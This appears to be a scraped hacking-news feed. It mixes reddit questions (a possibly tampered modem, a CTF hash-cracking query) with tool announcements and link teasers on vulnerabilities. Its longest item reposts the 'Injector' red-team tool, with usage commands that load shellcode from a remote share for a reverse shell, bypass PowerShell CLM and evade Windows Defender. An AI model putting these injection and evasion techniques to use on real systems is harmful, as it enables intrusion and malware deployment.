hacking: security in practice
Would a factory reset of a cable model clear all possible hacks?

I rented out my place on AirBnb to someone who turned out to be a famous hacker, and now I am worried that he may have tempered with my cable modem. Would a factory reset clear everything up, or should I throw the modem away?

submitted by /u/sportfiction
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Cariddi : Take A List Of Domains, Crawl Urls And Scan For Endpoints, Secrets, Api Keys, File Extensions, Tokens And More…

Cariddi is a tool to take a list of domains, crawl urls and scan for endpoints, secrets, api keys, file extensions, tokens and more. Installation You need Go. Go is an open source programming language that makes it easy to build simple, reliable, and efficient software. Linux git clone https://github.com/edoardottt/cariddi.git cd cariddi go get make linux (to install) make unlinux (to uninstall)Or […]

The post Cariddi : Take A List Of Domains, Crawl Urls And Scan For Endpoints, Secrets, Api Keys, File Extensions, Tokens And More… appeared first on Kali Linux Tutorials.

XStream Vulnerabilities — Detection & Mitigation

Looking at RCEs in the XStream Java Library and How you can prevent themContinue reading on ShiftLeft Blog »
Read more...

KitPloit - PenTest Tools!
Injector - Complete Arsenal Of Memory Injection And Other Techniques For Red-Teaming In Windows

https://1.bp.blogspot.com/-sA1SWyBg5m4/YOTx-J63puI/AAAAAAAAhmU/HjB4FwF9EAI2pOhZGOt5trqSC2p95btXQCNcBGAsYHQ/w640-h436/inection.png Complete Arsenal of Memory injection and other techniques for red-teaming in Windows What does Injector do?* Process injection support for shellcode located at remote server as well as local storage. Just specify the shellcode file and it will do the rest. It will by default inject into notepad.exe and if not found, it will create a notepad process and inject into it for persistence.
* Reflective DLL Injection for DLL injection. It downloads the DLL and injects into remote process.
* Process hollowing via svchosts.exe
* With -bypass flag it tends to use more advanced un-documented API for process injeciton and the routine itself gets changes.
* Now even supports encrypted shellcode i.e AES encrypted and Xor encryted shellcode are now supported. To encrypt the shellcode use Helper.exe in order to maintain consistency.
* Supports CLM bypass for powershell. Just drop it to a whitelisted folder where you can execute C# binary, for instance at C:\Windows\Tasks
* Now comes with support for DLL Hollowing. DLL hollowing is implemented via the dll_hollow.dll! So in case you end up using this mode, make sure the dll and the exe are in same place.

decryption for shellcode -pass Specifty the password for Xor decryption -decrypt-aes Specify aes decryption for shellcode -pass Specifty the password for aes decryption -location Specify the location i.e either server or local -bypass Uses enhance attempts to bypass AV ">C:\Users\admin>Injector.exe
Help Options for Xenon:
-m Mode of operation
-m 1 Specifies the mode as Process injection
-m 2 Specifies the mode as Reflective DLL Injection
-m 3 Specifies the mode as Process Hollowing
-m 4 No injection! Give me my damn shell
-m 5 Powershell session via CLM bypass
-m 6 DLL hollowing

-TempFile File location that your current user can read
-shellcode Use shellcode
-dll Use dll
-decrypt-xor Specify Xor decryption for shellcode
-pass Specifty the password for Xor decryption
-decrypt-aes Specify aes decryption for shellcode
-pass Specifty the password for aes decryption
-location Specify the location i.e either server or local
-bypass Uses enhance attempts to bypass AV

To generate encrypted shellcode, use Helper.exe on kali along with proper switch. Example of usageInjector.exe -m=1 -shellcode -encrypt-aes -pass=password -location="\\192.x.x.x\share\shellcode.txt" -bypass This is will decrypt your shellcode and give you reverse shell. Presence of bypass flag instructs injector to use some other ways to get reverse shell i.e using some undocumented Win API.

In case you dont wanna use encrypted shellcode, you can also run it simply like below Injector.exe -m=1 -shellcode -location="\\192.x.x.x\share\shellcode.txt" Just change the -m=1 to 2,3,4,6 to run other modes. Injector.exe -m=5 -TempFile=C:\\Users\\user\\sample.txt This will give you a session where you can execute IEX cradle and get a proper reverse shell hence bypassing CLM. Help me with Antivirus?A specific function called basic_rev in Program.cs of Injector triggers windows defender. It is advised to edit the function and remove the WaitForSingleObject line which will end up making that whole module useless but helps to bypass defender on Windows. Why to use a basic reverse shell mode when advance modes will give you persistence and help evade defender better :) Why make it?Main aim is to help me in OSEP :P Talk to me?Shoot me a DM on twitter @gh0st_R1d3r[...]

_0x9 to talk abt more interesting indeas/modules that can make this more amazing!

Current module in pipeline

* Phantom DLL Injection AcknowledgementsIred Team Download Injector

Hacking on Medium
Vulnerabilities in Booking Core 1.7

https://cdn-images-1.medium.com/max/1920/1*iDZOn4BSlf_GxvFxIEkwFw.png
Hello everyone and welcome to my first blog on Medium. I have been writing blogs on the information security domain which can be found at…

Continue reading on Medium »

Hacking on Medium
I opened RDP on my firewall and this is what happened

https://cdn-images-1.medium.com/max/600/1*rd1MARPRk5Z8xAzlEYaaGw.jpeg
Working on ransomware attacks I continually see RDP being used as external access and being the attack vector in ransomware attacks. I…

Continue reading on Medium »

Hacking on Medium
Hacking Water Exposed

Source: https://zerontek.com/zt/2021/07/14/hacking-water-exposed/

Continue reading on Medium »

Hacking on Medium
The Dark Side of Crypto

https://cdn-images-1.medium.com/max/1280/1*4sBwdiog243bpj5Em4W0EQ.jpeg
All the Negatives of Cryptocurrency and the Ways it is Misused

Continue reading on Medium »

XStream Vulnerabilities — Detection & Mitigation
https://blog.shiftleft.io/xstream-vulnerabilities-detection-mitigation-e468c152ca23?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Looking at RCEs in the XStream Java Library and How you can prevent themContinue reading on ShiftLeft Blog » (https://blog.shiftleft.io/xstream-vulnerabilities-detection-mitigation-e468c152ca23?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How is my VM using john kicking my hosts ass that's using hashcat

I am doing a ctf which has you crack a sha256 hash using john the ripper but I am trying to learn hashcat more so have been making myself use that on my host machine. Today after my hashcat was running for ~1hr i figured I'd try JTR on my vm for shits and giggles. Well it cracked the hash instantly. Any explanations on why if I am using the same wordlist this would happen (full rockyou.txt as requested by the ctf)? I would think my vm regulated to 4 cores would be slower then the host with 8 cores, integrated graphics, and a 3060 running in parallel. My guess is operator error with hashcat?

hashcat cmd:`hashcat -m 1400 -a 3 -o OUTPUT HASH WORDLIST`

john cmd:`john HASH --wordlist=WORDLIST --format=RAW-SHA256`

submitted by /u/rltw_275
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

XLS Entanglement
https://www.reddit.com/r/redteamsec/comments/ok91wk/xls_entanglement/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.bc-security.org/post/xls-entanglement/) [comments] (https://www.reddit.com/r/redteamsec/comments/ok91wk/xls_entanglement/)

___________________________
@hacking_Attack
@Hacking_Video